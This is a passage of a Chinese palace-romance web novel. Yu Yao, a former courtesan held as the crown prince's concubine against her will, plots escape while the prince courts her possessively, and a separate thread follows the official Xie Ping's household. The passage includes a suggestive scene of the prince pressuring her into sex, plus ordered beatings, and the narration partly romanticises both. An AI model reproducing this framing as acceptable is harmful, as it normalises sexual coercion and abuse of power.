太子每日餐饮都定时定量,今天白日最晚一口实在半下午,他在延祚宫里处理政务时,皇后赏下来莲花米粉酥,他不爱吃甜食,因此今日的糕点尽数赐给了手底下的幕僚。
一整日奔波走动,到现在这个时辰,太子早就满腹空空,他正使手上筷子替余姚夹了块糕点,一抬眼,忽然瞥见她悄悄抹泪的动作,心中顿时不愉起来。
太子想了想,放下筷子,问道:“怎么,可是有人欺辱你了?”
余姚原不想答,脑海里忽然想起今日那自称是后宫来的尚仪,她眼中鄙夷,余姚并不陌生,她出身烟柳之地,世俗便是如此。
小虾吃水草,小虾吃小鱼,大鱼吃小鱼。
她心想,欺辱我最多的人,不就是你么?
只是这些话就像是横亘在两人之间的火药引线,有一点火星,这根引线就会完全燃烧,直至迸裂。
余姚眼眸一转,便试探着说:“殿下关怀,妾不胜感激,只是为了两桩事。”
太子瞥见灯烛下,映照出一张形状瘦削美丽的脸,眼眸亮晶晶又含了许多欲说还休的情义,身上的衣衫衬得她腰肢纤薄无比,上身是起伏不定的山河峰峦。
“你说便是。”太子心想,她再如何嘴硬,终究是女子,这世道,女子较比男子,受世俗压迫反而更多。
她如今是他的枕边人,余生依靠唯他一人而已,自己是男子汉大丈夫,对待外人另当别论,对待家小,却没有什么是不能担当的。
因此太子便也将适才两人之间的不愉快暂时按下,他长臂一伸,便将余姚揽了过来,他从来没有对旁的女子做出这样的动作。
待到那股子温软的触感传来,鼻端幽香隐约钻入脑中,令人心中莫名熨帖许多。
太子又问了一遍,余姚仍是不答,无论是在朝堂还是后宫,他想来是发号施令的那个,哪里像如今这样哄过人?
是以他问了两遍,还没问出来,一张极为俊美的玉面上早就阴雨密布,只是没有发作。
“夏风进来。”太子低声吩咐道。
不出几个呼吸的功夫,门口一个头上梳着高顶发发髻、狭领长袄的年轻女子已然跪倒在地。
夏风便是继杨桂之后,顶替她在余姚身边服侍的小丫鬟,太子收回了手,另一边手搁在桌边轻轻磕动。
顶着一股无形的压迫感,太子问:“你且来说说,你主子今儿怎么了?将今日来龙去脉说得一清二楚。”
那小丫鬟身子微微发颤,低下头一字一句将今日发生的事情都说了出来。
余姚眼见这小丫鬟面对太子虽害怕,但该说话的时候,也是绝不含糊。
果真是可塑之才。
有些话,有些事不能从自己嘴里说出来,否则容易造成“王婆卖瓜,自卖自夸”的假象,还不如从旁人嘴里说出来的具有可信度。
余姚很久没玩过这样的手段,待眼角余光瞥见太子脸上实在没有什么太大的起伏,她心中就像是被人从万丈高空扔下来一块巨石。
虽然早就知晓,他强留她在身边,其实归根究底还是因为太子见色起意,看中了她的相貌。
如今回想起在刘家大院时的日子,芍药教授房中术的时候,曾说过,一个男人若是对一个女子念念不忘,那大概率是因为没能上手,要么就是没弄够。
余姚想到此处,心中却已经宽慰了自己,反正就当被狗咬了吧,又不能咬回去
她还在愣神中,遮住脸的袖子差点忘记遮住半张脸,芍药说,男人都是贱骨头,得不到的永远是最好的,女人若想将男人玩弄于鼓掌之中,有两大利器。
一为容貌,二为情意。
容貌虽然人人都有,但生得好的容貌不少,但生得顶顶好的容貌却真是海中捞珍珠一般。
情意比之容貌又难上许多层了,因为人性狡诈,若是利益足够大,对方便是生身父母,或是手足兄弟,下起毒手来仍是毫不手软。
余姚自然不是什么人人欺辱的女子,她固然伤心自己深陷泥潭,但她已是生死过一次的人,心中明白,只要活下去,总有一日终究能好好活着。
她正陷入深思,忽然听见身旁传来一阵声响,她立即向旁边看去,原来是太子站了起来。
太子叫了个名字,“来人。”
话音才落,只见到门口处有一个穿着内侍服的胖男人搀着墙壁从地上拜倒,脸上还冒着热汗,一滴一滴流进了衣领之中。
此人正是今天上午那何亮小内侍嘴里“卧床不起”的王振。
太子蹙眉道:“你既有伤在身,便该好好养伤,跑来做什么?”
王振拱手:“老奴是殿下的奴才,供殿下驱策,当牛做马,在所不辞。”
太子冷笑:“滚回去。”
王振讷讷,拜倒:“殿下,老奴字字句句皆是肺腑之言,绝无虚言。”
太子沉吟:“孤叫人杖你,你心中可记恨?”
王振连忙磕了数十个响头,斩钉截铁道:“雷霆雨露皆是君恩,老奴心中只有对殿下的忠心耿耿。”
太子拍手道:“好!但你身上的伤。”
王振再叩首:“老奴不才,素日伺候殿下闲暇之余,也调教不少小兔崽们,如今正是他们报效之时。”
太子道:“既如此,那你此刻便去玉阙城□□一趟,替孤揪出今日来报本宫的宫人,替孤赏她三十掌。”
王振精神一振,连忙应下,称是。
只是,王振略一迟疑,小心翼翼问:“殿下……掌掴女官,这……罪名……”
太子淡淡乜斜一眼:“亏你是宫里的老人,
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她冒犯贵人,冲撞里本宫鹤驾,这由头还不够?”
王振一个激灵,连忙道是。
临走之际,余姚分明瞥见王振瞧她一眼,那神情分明欢喜得紧。
待众人离去,余姚仍旧坐在桌边发起愣来,她在心中琢磨起适才王振看向她的惊奇表情。
就在她愣神时,忽然觉得肩上一沉,下一瞬便被人拥入怀抱,一道低沉的男声道:“孤替你出了口恶气,姚娘,既然孤已投木桃,那你可会报之以求琼瑶?”
余姚侧过脸,看见了一张十分俊朗清秀的脸,那对凉薄的眼眸正与她对视,薄薄的眼皮轻轻撩起,黑郁的瞳孔几乎占据了眼眶的三分之二,鼻如冰雕白玉玄胆,唇色艳若忘川河上花。
太子就这样盯着,一只手掌似放未放的,修长如玉的手指勾缠,颜色鲜潋无比,容光勾魂摄魄。
余姚心中暗叹一声,她稍微侧过脸,下一瞬却被人钳制住了脸颊,道:“嗯?可是不愿伺候孤?”
余姚心知这人久居上位,性情阴晴不定,十分难以捉摸,何况自己虽厌恶此人以权势逼人,但很明显,她这段时日也逐渐摸索出与他的相处之道。
无非是吃软不吃硬,这样的人相处起来挺难,但若是摸准了脾性,那却如同老虎顺着皮毛摸。
余姚想通了这一点,她便只能强忍着抗拒,轻笑道:“殿下怜惜,妾不胜感激,只是皇宫中居住的都是您的长辈,您令王振前去,恐怕会惊动他们。”
太子听闻她所言,心中一荡,她竟担心他会被皇帝与皇后责罚,不过他面上仍是寻常神色,说:“这些事都不算什么,只要你好好与孤在一起,孤自然就开心了,这不正是你报答孤最好的方式?”
余姚脸色僵白了一瞬,有一瞬间眼眶里的泪欲滴未滴,直在打转。
太子见她这样,伸出一根手指拭去了她脸上夺眶而出的泪水,然后阴影覆盖下来,落在她的脸上,他吻在她的扑闪的眼睛上。
余姚向后倒去,整个身体从椅子上往后倒。
预想中的疼痛没有传来,反而有一只手臂撑在她后背,托住了她。
太子噗嗤一声,而后用力一托,便将余姚揽入怀,甚至没能行至床榻,不知究竟是谁人的衣裳从交缠的两个人之间掉落。
余姚咬住唇畔,忍住不适,她两只手死死按住胸前的衣裳,太子的手绕到她身后,勾住了那两根窄窄细细的带子,轻轻一扯,便能看见他最喜欢的山川峰峦。
但……
“姚姚,你要背信?”太子的声音此时与平素完全不一样,就像是压抑着什么,声音变得低沉和喑哑。
余姚撇开脸,嗫嚅道:“不……不要在这里。”
太子挑眉,“可孤喜欢。”
余姚强忍屈辱,但最后还是想要讨点东西:“殿下,妾在这偌大院中,没有个知冷知热的贴身人,妾想见到妾先前的婢子。”
太子了然,心中冷笑,这是在谈条件了?
太子不应,却说:“你这还没付本钱呢,就想要货物。小娘子贪心可不是这样法的。”
余姚心中沉重,她欲要再与他争辩,只忽然记起他上次也是如此说,偏偏事后连春花半点影子都没见着。
可若是说了,恐怕这怀柔暂缓的计策实施不成。
她在此忧愁一番,男人那边却箭在弦上,弓弦紧绷。
太子将腿强硬挤进,他低头吻在她唇上,道:“姚姚,让孤进去。”
余姚两颊一红,她嗫嚅:“你,你须得应我。”
太子又道:“成,明日就叫王振送她回来便是。”
如此,余姚才强忍叫出来的欲望,太子手上用力扯掉了那两条细带。
芍药早就说过,男人在床上说的话简直堪比放屁,奈何此刻人如刀俎,我为鱼肉,岂能相提并论?
太子手上劲力稍强,便惹得她一阵惊呼,太子恼道:“孤说话向来一言九鼎,难道你认为孤作为一国之君,竟会对你一个小女子言而无信不成?”
余姚似是察觉到危险,道:“殿下对妾猜忌太过了,殿下是男男子汉大丈夫,如何会与妾计较?”
太子:“......”
余姚见他这幅神情,暗自寻思,莫非自己说错了什么话,得罪了他吗?
太子低头瞥见了一张微微张开、红润的唇,心中一动,便凶狠地冲那唇畔咬上一口。
“唔......”
余姚吃痛,太子轻笑一声,沙哑道:“这是你不信任孤的惩罚。”
【1】朱门酒肉臭,路有冻死骨。出自唐代杜甫的《自京赴奉先县咏怀五百字》。
35. 035
湛蓝的碧空之上,有一只白身黑羽的鸽子张开双翅,宛如弹弓一般从天际投了出去。
余姚今日起来了个大早,将丫鬟端过来的药一饮而尽,又在丫鬟的服侍下,用过了一番早膳。
余姚满心都是昨儿夜里,太子应承过会放春花放归来,但今日早上太子离去之时,余姚惊醒之际,抓住了太子衣摆上的一截衣带。
太子冷笑一声,出言又命王振说:“待贵人用过了早膳,便将那婢子提出来。”
“满意了?”太子回头看了床榻上的余姚一眼。
接着太子从余姚手中取过那截衣带,轻易便将那截衣袖抽了出来。
便在余姚搁下筷子之际,门外便响起来一道尖锐的声响,那人拱手低头道:“见过夫人,奴才将春花姐姐给您送来了。”
余姚听闻此言当即便从凳子上站了起来,整个人就像是一只剁了尾巴的猫,从椅子上弹跳起来往门□□去。
“春花!”余姚一出去便瞧见自己日夜思念之人正站在门外,身上是一件浅绿色方领窄裙,头发也梳成了双环髻子的形状,这副模样与这院中所有的宫婢服饰毫无二致。
春花一见到余姚,眼眸也似一颗划破天际的流星,两人相识数载,名义上是主仆,实际上早已情同姐妹。
因此两人一见面便相互搀着手臂,四目相对,热泪盈眶。
最后还是余姚反应过来,当即就叫了这些侍奉的宫人们下去。
余姚与春花二人来到内室,望着远处死死闭合上的房门,春花问:“小姐,这......”
余姚便将自她被抓以后的事情大致讲了一番,见春花吓得面色苍白、忍不住向后倒去,余姚赶忙伸手搀住她,而后又贴在她的耳旁道:“春花,都怪我先前鬼迷心窍,误把中山狼当做谦谦君子,害了你吃了这么许多的苦头,但如今这番境遇,只怕比当初咱们在余府时还要凶险万分,若是继续留在此处,也不知道你我他日葬身何处,咱们还是需想法子逃离才是。”
“小姐,那,那可是当朝太子啊......”春花听完了余姚的一番话语,隐隐觉得口干舌燥,而后舔了舔自己的上下两片嘴唇。
余姚轻声说:“若此生还是只能作为权贵掌中玩物禁脔,那我活着与畜生有什么两样?”
春花惊住。
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时近六月,此时天色向晚,镇北侯府清晖院中的草木莲池都已然笼罩上了一层寒灰的烟雾,残阳铺在水面,米白的水鸟仰起头悠悠闲闲划过,镜面般的湖面顿时荡漾开来。
本该是欣赏美景的好地界,奈何书房之主并无心赏玩风景。
“大人!”清晖院外临水长廊桥上,有一个年轻的小厮模样的人正冲着书房正门过来,几乎是跑上两步便□□。
“大人!”那小厮终于冲进书房当中,只是主座上并未见到人影,又小心喊叫了一声。
“有信,你这些日子来是越发现不成体统了,若叫人看见,成什么规矩体统?”声音出自书房中另一边临窗处,那里用隔屏挡住,从光影里依稀可以看清那边有一个人影躺在了躺椅上。
有信被谢凭训斥一番,心中暗自叫叫苦,只因长风哥哥家的娘子生产难产,这才得了世子爷的几日假。
又因那余姨娘生不见人、死不见尸,这些时日,是他跟随世子爷以来,最难挨的日子。
有信知晓世子爷因为丢失了宠爱的外室,从而导致心情不佳,连久未发作的火牙都引了出来,这才没过几天,正是火牙作祟的时辰。
有信不敢耽搁,连忙双膝跪倒在地上,道:“奴才知罪,求大人赎罪。”
谢凭原本半躺在躺椅上,奈何火牙发作得厉害,疼得半边腮帮子都微微发肿,他心情不好,但他向来就事论事,也并不是苛责身边人的主子。
他用冰袋子贴在脸上,半张脸已然被冻得麻木起来,似是察觉不出痛感,谢凭才说:‘有什么事?’
有信听见谢凭并没有这追究自己的失态,腹腔里一颗心这才终于落地,他连忙回话:“回大人的话,是......是因为大少夫人养了三年的八哥爷爷【1】被您从吐珠胡同带回来的红豆姑奶奶【2】给咬死了。还有,大少夫人的娘家妹子,也被红豆姑奶奶给咬了一口,众人惊慌失措,大少奶奶娘家妹子命管家率人捉狗,说是捉到便......打杀了”
谢凭想到这些污遭事,一阵心累的感觉顿时涌上了心头。
他这一愣神,右边腮帮子骤然又开始疼痛起来,简直痛彻神经。
怒急攻心之下,谢凭伸手狠狠一拂,茶案上的茶具尽数被他扫落在地。
“碰”的一声,茶杯弹到了画纸上,生生将这一副价值千金的《踏歌图》登时砸出来一大块破洞来,那画面上已然被茶水浸得墨汁淋漓,一副好生生的山水名作顷刻之间毁于一旦。
“大人,您,您息怒......”
那茶杯四溅开来,许多碎瓷片迸溅如铁花,砸得粉碎。
谢凭许多年没有发过这样的脾气,可见这是气狠了。
吓得跪在地上的有信抖若筛糠,险些一双眼珠子都要被碎瓷片戳瞎。
过了好一会儿,谢凭静了静,对有信交代了几句话便叫他退下。
没成想,有信走出去没多久,忽然又进来回禀道:“大人,大少夫人来了。”
谢凭本欲说不见,但转念一想,忽然记起这些时日已许久没见薛氏一面,他们二人少年结发,薛氏缠绵病榻多年,虽然无功,到底也无过错,如今她日比一日的憔悴,总不好叫她在下人面前太过丢脸,便说:“‘请少夫人进来。’”
几个呼吸的功夫,外面就进来两道身影,一素一艳。
“夫君。”
“姐夫。”
两道声音同时响起,温婉的那个自然是他的结发妻子大薛氏,而那道犹如空谷鸟鸣的声音,自然是妻妹小薛氏。
谢凭此时就坐在主位,他今日仍旧穿着浅绯红色的官袍,整个人大马金刀往主位一坐,肩宽腰窄,愈发不像一个文臣,反而更像是个武将。
大薛氏早习惯谢凭如此''规矩''的一面,喉咙处传出一股瘙痒感,大薛氏忍不住用帕子捂住嘴轻轻咳嗽几声。
谢凭起身走近,搀着大薛氏坐到一边的高背椅子上,一边又对小薛氏说:“薛家妹妹也来了,坐吧
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。”
小薛氏目不转睛地盯着谢凭高大挺拔的背影看了好一会儿,听闻他沉稳声音,更觉脸色微红,不由含羞带怯。
大薛氏见状,咳嗽两声,小薛氏这才反应过来,连忙对谢凭重复了一遍适才有信来报的那些话,只是绝口不提自己曾说过,若是抓住那条狗,便要打杀了它之类的言语。
谢凭目光落到小薛氏的手脚上,淡淡扫过而后移开,问:“都是我家里那条孽畜惹出的祸事,竟咬伤了你,不知伤患在何处,可请过大夫前来瞧瞧没有?”
小薛氏听他关怀自己,脸色绯红几分,犹如桃李醉春风一般,想起来家中父亲曾嘱咐过,说是大姐病重,恐怕寿数不永,谢凭文武双全,家资丰厚,年纪轻轻便已然身着红袍,东宫太子又是他的姨表亲兄弟,入内阁是板上钉钉的事,可以预料到前程不可限量。
肥水不流外人田,什么“探望病中的大姐”之类的话都是假话,实际上还是为了她来日能成为这位镇北侯世子的继室做准备。
小薛氏借喝茶露出了手腕上渗血的止血布,柔声道:“多谢姐夫挂怀,婉仪已经好多了。”
坐在对面的大薛氏用帕子捂住嘴咳嗽,遮挡了大半的脸,还剩下一双深邃凹陷的眼睛盯着小薛氏的方向冷笑。
谢凭点点头,吩咐书房的茶水丫鬟替大薛氏斟茶。
最后谢凭道:“既然薛家妹妹没事,不妨听我一句,非是我侯府故意偏袒那只伤人的狗畜生,若是这畜生是寻常的狗那也算了,只是这条狗是一年前东宫殿下赐给我的,若是贸然打杀,恐怕会惹得太子殿下不快。烦请薛家妹妹顾念这一层金面,就宽恕那畜生一回吧。”
如此说着,谢凭直视小薛氏,小薛氏早就被谢凭风姿折服,心中早知自己将来定会成为他的继室,夫妻之间同甘共苦,一荣俱荣,一损俱损。
虽然那畜生咬了她,但终究也叫她见到了世子爷一面,于此便叫小薛氏不算是盲婚哑嫁了,如此也是大功德一件。
小薛氏连说没事,就依姐夫所说。
她这边还有许多事情要同谢凭再讲,只是忽然门外传来一声长呼道:“嘉柔县主到。”
谢凭的注意力自然被那边吸引走了,竟叫小薛氏的话含在了喉咙里,真是好不尴尬。
门口走进一个姿态优雅,容貌不俗的少女来,那少女衣裳与头饰都十分讲究,光是她手腕上的一只金银错咬尾镯,都价值不菲,有市无价。
少女进门轻笑一声,对着谢凭与大薛氏所在,行了个福礼,笑道:“表哥万福,表嫂妆安。”
谢凭身着朝廷正五品官服,可受县主行礼,大薛氏撑起身,对嘉柔县主所在福了福身:“县主妆安。”
小薛氏并无品阶,亦对着嘉柔县主行礼。
然而小薛氏还欲再说,却被大薛氏以告退为由,给拉走了。
临走之际,小薛氏回望一眼,只见那人长身玉立,身上世家贵气无与伦比。
【1】八哥爷爷,八哥鸟名,可通人语,模拟人声。这里后缀用‘爷爷’是从有信的视角说的。
【2】红豆姑奶奶,就是在第一章出现的小狗,这里“姑奶奶”也是从有信的角度去说。
36. 036
待书房里只剩下了谢凭与嘉柔县主二人,侍奉茶水的婢子奉上了今年新上的峨眉雪芽后才退下。
直到书房内外唯余鸟雀蝉鸣,嘉柔县主端起茶杯抿了一小口,而后欲言又止地看着谢凭。
嘉柔县主喝下去一口极其苦涩的茶水,又烫又苦,碍于贵族女子的身份与体面,她是绝对不可能做出一嘴将茶水喷出来的野蛮之态的。
“大表哥,你如今的口味越发向那班老头子靠拢了,你瞧瞧你这儿的茶水,简直比蒙汗药都厉害。”好不容易将茶水咽进肚的嘉柔县主突然忍不住吐槽道。
谢凭端起手里那杯冷泡浓茶喝了一口,嘴里刺激的冰凉感令他那颗隐隐作痛的火牙镇定了许多。
谢凭放下茶盏,撩起薄薄的眼皮,问:“表妹今日来,不是为着来吃一口茶汤吧?”
嘉柔县主轻笑,说:“大表哥不愧任职刑部尚书一职,我,我是想请大表哥替我去报本宫一趟,探望太子表弟......”
谢凭听后说道:“如此也成,表妹你与殿下虽然还只是未婚夫妻的关系,但有外祖闻人家族的帮助,与皇后娘娘牵桥搭线,你与殿下青梅竹马,两小无猜,婚事正是板上钉钉的事。何须我去看?一月后你们便能完婚。”
听到此处,嘉柔县主连忙站起来,走上前福身道:“大表哥教训的是,其实我......我是想要请您替我去报本宫,去瞧一个人,不是太子表弟,是......”
“就事论事便是,表妹但说无妨。”谢凭道。
嘉柔嗫嚅两声,脸颊泛起胭脂色,眼底隐隐升腾起一股子愠怒:“是一个女子,她前段时日才被太子表弟收用,可是,,,,,,原本我并不将这等女子放在眼中,只是,我听皇后姨母寝宫里的宫人说,那女子颇受太子宠爱,昨儿夜里,太子表弟竟然派遣身边得力大太监王振前往尚仪局,那位受命去东宫教导那女子规矩的五品尚仪,生生被扇了好些耳刮子,两边脸都扇肿了。”
“胡闹!”
听完事情原委的谢凭沉脸蹙眉,直接将手中定窑产出的白瓷杯盏狠狠往手边茶几上一扔。
嘉柔县主被吓了一个激灵。
谢凭盯着她道:“表妹,你出身五代公卿王侯世家,生来尊贵,岂能因未来夫君临幸一个女子而自乱阵脚?”
嘉柔县主知晓自己这位表兄,是传闻中家族最出息的孩子,这位表哥向来一丝不苟,对规矩体统看得极重,也正是因为他这份独有的少年老成,使他心智超群于同龄人,让他既是当朝天子爱惜的人才,又因为与太子殿下的姨表亲关系,天然就是太子一党。
嘉柔县主把心一横,抹抹眼泪道:“谢表哥,我知道善妒是女子七出之一,我原不是这样小心眼的人,奈何我从小心仪的就是太子表弟。我只是想知晓,在这世间,究竟是什么样的女子,才能入他的法眼?又是什么样的女子,能叫他另眼相待?求表哥成全朵朵。”
嘉柔县主出身于五代公卿世家的河东闻人氏,因其父功勋得封县主,她复姓闻人,闺名朵朵。
谢凭冷哼一声,本来想下逐客令,但对视之间,忽然就瞥见了闻人朵朵以县主之尊双膝跪拜。
谢凭斥道:“男子膝下有黄金,女儿膝下亦有,表妹你,真是糊涂......”
终究,谢凭叹息一声,道:“罢了,我替你走一趟便是,但那女子毕竟是太子殿下的宫中人,能否见到,只能凭缘而已。”
————
另一处报本宫中,此时天色尚放晴,碧蓝的天空上白云游荡,夕颜院中的小厨房中,颇为热闹。
自从那日与春花见面,余姚日夜思想,心中默默盘算,自己究竟要怎样才能逃离这座富贵的牢笼?自己何时才能恢复自由之身?
天高任鸟飞,海阔凭鱼游。
思索了许久,最后余姚看到春花,一拍脑门,想起来了!
这段时间余姚与太子之间的博弈,几乎就没有赢过的时候,唯有昨日,为自己出气以及成功见到春花这两件事,无不在暗示太子殿下实际上就是个吃软不吃硬的人。
芍药说,是人就有弱点,无论是走马章台的男子,还是受到父兄家族庇佑的女子,他们各式各样的弱点,无一不是解开心结的钥匙。
余姚想起这番话,心中重新燃起一股子奋斗拼搏的毅力来。
说干就干,余姚亲自前往夕颜院中的小厨房,这小灶是她被临幸后的第二天,据说底下人为了巴结她建造的。
权势的力量美且醉,令人为之折腰。
待到日头升到中空,初夏时分,报本宫中琉璃瓦熠熠生光,院中茶花已谢,不似几月前那样花盛时大如银盘,生机盎然,蝴蝶飞舞。
余姚煲了一道汤,预备放进食盒里送去太子所在的映月书斋里。
没成想才装进去,门口已有人来回禀,说是太子殿下鹤驾到了,请夫人去接见。
余姚进到内屋,太子正由小宫女服侍着脱去身上外衫,换上另一件轻薄些的丹朱色的网纱外衫。
见到她来,太子嘴角微微扬起,他一换好衣裳便走近至余姚身旁,用力揽住了她的肩膀,凑近便闻见一股幽幽暗香。
余姚被他吓到,两只手都抵在他刚硬的胸膛上,做出防护的姿态。
太子自然察觉她的抗拒,因而脸上的笑容褪得干干净净,他不悦地问:“莫非你竟不愿伺候孤?”
余姚垂下头,不敢再细看此人的容颜,心中暗怪美色害人,更因他已经全然褪去伪装,当初那股子温润如玉是半点也见不着了。
余姚心中自然是不愿与他挨近,只是好不容易与太子关系缓和,那想要逃离的计划便是痴人说梦了。
她按下心底涌上来的厌恶感,扬起笑容看向对方,娇俏说道:“谁说妾不乐意侍奉啦?只是妾刚从小厨房里出来,身上有一股子油烟味,如何敢近前.......”
太子却没有表现出高兴,反而似笑非笑地盯着她,“不是真心笑,便不必再假笑了。”
哎呀,被识破了。
余姚半点没有被识破的尴尬感,她缓缓收敛笑容,对他说:“那妾不笑了。”
太子挑眉:“孤何时叫你别笑了?”
余姚回看过去,“难道适才不是殿下开口?”
此时太子才回过神来,心中暗恼,先头他强迫她时,还以为她是个脑子转不过弯的倔王八,现在看来,分明是个牙尖嘴利的小娘子。
太子失笑,摇头将心中所想说了出来。
余姚故意从他怀中灵活地挣脱出来,太子一个不留神,美人便离了手。
太子也不追,两只修长的手臂便垂在了身旁,他吩咐身后侍立的王振说:“传膳。”
王振恭敬道了声是。
余姚今早上才知晓了昨日王振冲她笑的背后意思,原来是因着太子竟然将她的身份抬了一点,由原来身份地位只比普通宫女高一点点的‘淑女’,变成了太子侍妾一员‘夫人’。
这对她并不是什么好消息,因为太子侍妾虽然不入皇家玉牒,但从实际来看,她已经在太子东宫里有了身份,日后若再想离开,便不是轻易之事了。
宫婢们将膳食都摆了一桌子,她升为‘夫人’以后,她的膳食水平明显提升了许多,由原来的四菜一汤升级成了现在的八菜一汤,却足足有八荤八素,素菜都只是应着四季时节生长的蔬菜,这肉菜就更平平无奇。
余姚轻轻打量太子神色,似乎眉宇之间还有不愉之色,她心下当即了然,这是吃习惯了山珍海味,一时之间看不上她的‘粗茶淡饭’了。
谁知道下一瞬,太子已然落座,目光从桌面上所有的菜色上扫视了一遍,而后落在一道用瓷盖子紧紧阖上的情话缠枝大肚瓷碗上。
太子指了指碗吩咐道:“打开。”
侍奉一旁的王振得到命令,立即揭开了眼前的盖子,露出来了一碗奶白色的汤水来,汤面上没丝毫旁的颜色,只是初夏时节,温度渐涨。
太子今日才从早朝大臣们的唇枪舌剑中出来,天子既已经复归,那张代表着监国的鹤座自然是不能再摆了。
作为人臣,他自然也只能站在百官之前、天子眼下。
太子此时腹中渐渴,一见这样颜色清减的鱼汤,鲜香清甜的味道四散,还真怡神去燥。
王振一见太子殿下眼神,心中了然,当即便替太子盛了半碗来,莲花形状的玲珑白瓷碗拿在手中轻便小巧,尤其是装满了不见半丝毫鱼肉的汤,从外面透过玲珑花孔看,极为剔透明净。
太子心中打暗自点头,执起调羹喝了一口,汤味清淡,似乎带着一股子隐隐约约的花香,喝下去唇齿留香。
太子殿下生来就含着金汤匙,在这可食不厌精,脍不厌细的行列里,他对于美食一道上,还真有话语权。
只是碗中汤水饮尽了以后,王振正预备再盛一碗,但被太子制止了。
余姚冷眼瞧着,心中想到的却是,万恶的有钱有势之人真装!
连吃饭、穿衣都不能按照自己的心意来,怕的就是旁人窥探喜好,从而掌握上位者的喜好,投其所好,以致于揣摩上意,
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投其所好。
按照规矩,余姚位份低贱卑微,不能与太子同桌用饭,且还需侍立在一旁,替太子夹菜盛汤,这样的生活,放眼看余姚前后两世,都只在出扬州那会头几月。
谢凭是极重视规矩的人,无论床上榻下,她都十分畏惧他。
所以头几个月她只能像下人一样服侍他,后来她恃宠生娇,谢凭沉迷她的容颜与手段,两个人同桌吃饭,同榻睡觉,一月中几日宛若寻常夫妻一般。
倒是现在重新回到这样的日子,余姚心中不由生出万分感慨。
她随意夹了一筷子菜放在太子面前的碟子里,耳边忽然响起了一阵惊诧的抽气声,余姚侧过脸向旁边看了一眼。
却是王振的目光死死盯住她刚放进碟子里的那道掺杂着芫荽碎末的胭脂鹅脯,余姚疑惑地看了一眼那菜,又看了一眼王振,这是不喜欢吃?
王振头顶冒汗,他心中惴惴不安,但空气已经变得十分安静,作为报本宫中、太子跟前最得力的太监头子,他当仁不让地悄悄移到了余姚跟前,道:“余主子,太子殿下他……不吃芫荽的……”
原来不吃配菜啊。
余姚心想。
她便伸出筷子欲去将那块胭脂鹅脯夹回来,这筷子刚伸出,那边太子却将那块鹅肉脯夹走,面色如常地吃了。
余姚可没错过刚才自己去夹菜的时候,王振脸都绿了,她还从没在一个人的脸上见到过如此丰富的颜色,不由觉得十分好笑。
太子轻咳一声,王振就像是被踩了尾巴的狗,厚实的身形灵活移动到另一边服侍太子漱口。
太子洗净手,还留在桌子前,指着身边的位置说:“姚娘,坐。”
余姚不情愿坐下,她也不知道这鬼规矩是谁发明的,不能与贵人同桌吃饭,那怎么允许贵人与她这卑贱之人一起躺在一张床上呢?
余姚硬着头皮坐下,夹了几个太子没动过的菜,好歹用了几口,太子瞥了眼身边的王振,王振当即会意,转身跑了出去。
“罢了,停筷。”
太子吩咐道。
余姚一愣,只见太子道:“你从前做奴婢时,从不吃主子赏的菜吗?”
听闻此言后,余姚心想,自己八岁时遭遇人生之剧变,遭人拐卖后入刘家大院,成为瘦马,她在刘家大院,虽常因美貌帮逃过许多磋磨,但拜师学艺时,即使是悟性再高的弟子也无法避免师傅的打骂。
刘家大院极看重女子的容貌与皮相,院子里的鸨母指望这些‘假女儿’们日后卖出高价,怎愿意自毁长城呢?
因此挨饿和被鞭打,就是家常便饭,余姚刚去的那阵子,挨饿、被打脚底板是三天两头的事,多亏了那时候自己心志坚定,绝不肯轻生,自己才能熬过来。
眼见余姚陷入沉默,太子将她的神情动作都尽收眼底,没有错过适才她眼底一闪而过的悲伤,真是......
令人心生怜爱啊。
太子不认为自己是一个长情的人,他是一国储君,将来更会是这个国家的君王,所以他不可能只守着她一人过日子。
一生一世一双人,这是民间没有能力跨越阶层的男人,以及那些被锁在深闺大院中,能将《女德》、《女戒》倒背如流的女子们才会不得已接受的。
太子眼底露出玩味,漂亮的凤眼里闪过幽暗明灭的光彩。
姚娘啊姚娘,希望你可以努力点,让孤能对你的喜爱维持久一些。
到后来,还是王振领着身后一连串的宫女们替余姚将桌上的饭菜重新换了一遍,余姚就顶着太子殿下似有若无的目光,用完了这顿饭菜。
太子殿下原欲揽着余姚歇个午觉,余姚心中焦急,便问:“殿下觉得,妾的手艺如何?”
太子坐在宽大的竹方床上,身上仅着一件中单,衣裳单薄,难免勾勒出男子人体之美丽。
猿背蜂腰螳螂腿,窄瘦精壮的腹部随着呼吸凸出有力的轮廓。
令人......
余姚脸色一红,莫名想起来夜晚烛光下汗水淋漓的臂膀钳制住她手腕的情景。
余姚移开视线,吞咽了口水,说:“妾做鱼汤的手艺如何?”
太子缓缓点头道:“不错。”
余姚眼前一亮:“既然不错,殿下可能许妾一个条件?”
太子挑眉:“你想要什么?”
“出去,妾希望后日朝廷休沐日,殿下能带妾出去玩乐。”余姚赶忙说。
太子似笑非笑地看着她,问:“孤猜猜,姚娘究竟是想出去玩乐,还是趁机逃府?”
37. 037
此话一落下,余姚便感觉到有一道视线宛如毒蛇一般直勾勾盯着自己,虽然寂静无声,但余姚能察觉到手臂上泛起了密密麻麻的鸡皮疙瘩。
“怎么会?妾......殿下这样久了,难道您对妾还是没有半分信任吗?”余姚抬起脸,掀起薄薄的眼皮,犹如蝶翅一般的睫毛忽闪两下,美目中泪光流转。
太子原本正静静摩挲着拇指上戴着的那枚戒子,戒子上那面目凌厉的饕餮图纹张牙舞爪,他的视线淡淡落到了余姚的脸上,他黝黑的目光里有种说不清、道不明的意味。
他没说话,但将手伸出去摸了摸她的脸,温凉的触感让余姚的脑子都清醒了许多,她知道此时的自己绝对不能有半分退缩之意,一定要看着眼前的男人。
芍药说,在与他人讲话对视的时候,如果不想让对方轻视愚弄你,那么你必须要盯着对方的眼睛,不能有丝毫退缩。
因此余姚虽满腹心思,但一直紧盯着太子,太子轻笑一声,道:“姚娘,你怎能说出这样没有良心的话来?难道我对你不好吗?”
余姚心中冷笑嘲讽,但面上不能露出半分胆怯,她便低着头,为的就是不让面前这个看似尚未弱冠,实际上满腹心机的男人看清她脸上的神情,避免一番心思付诸东流。
余姚闷声说:“殿下对妾,仁至义尽。”
太子微微挑眉,而后将贴在她脸侧的手指移向了下巴,手上轻轻用力,就将她的脸抬了起来,两人再次四目相对。
“仁至义尽?”太子重复说了一遍这句话,嘴角似笑非笑,余姚虽然与太子相处的时日不短,但太子喜怒不定,脸上的阴晴,她难以分辨。
太子说:“姚娘,孤知道你一直都不是诚心思跟着孤,还在介怀当初孤将你强行夺取进宫,你不愿意也情有可原。”
余姚见他嘴上说得诚恳,却知人心隔肚皮,他心中定然不是如此想的。
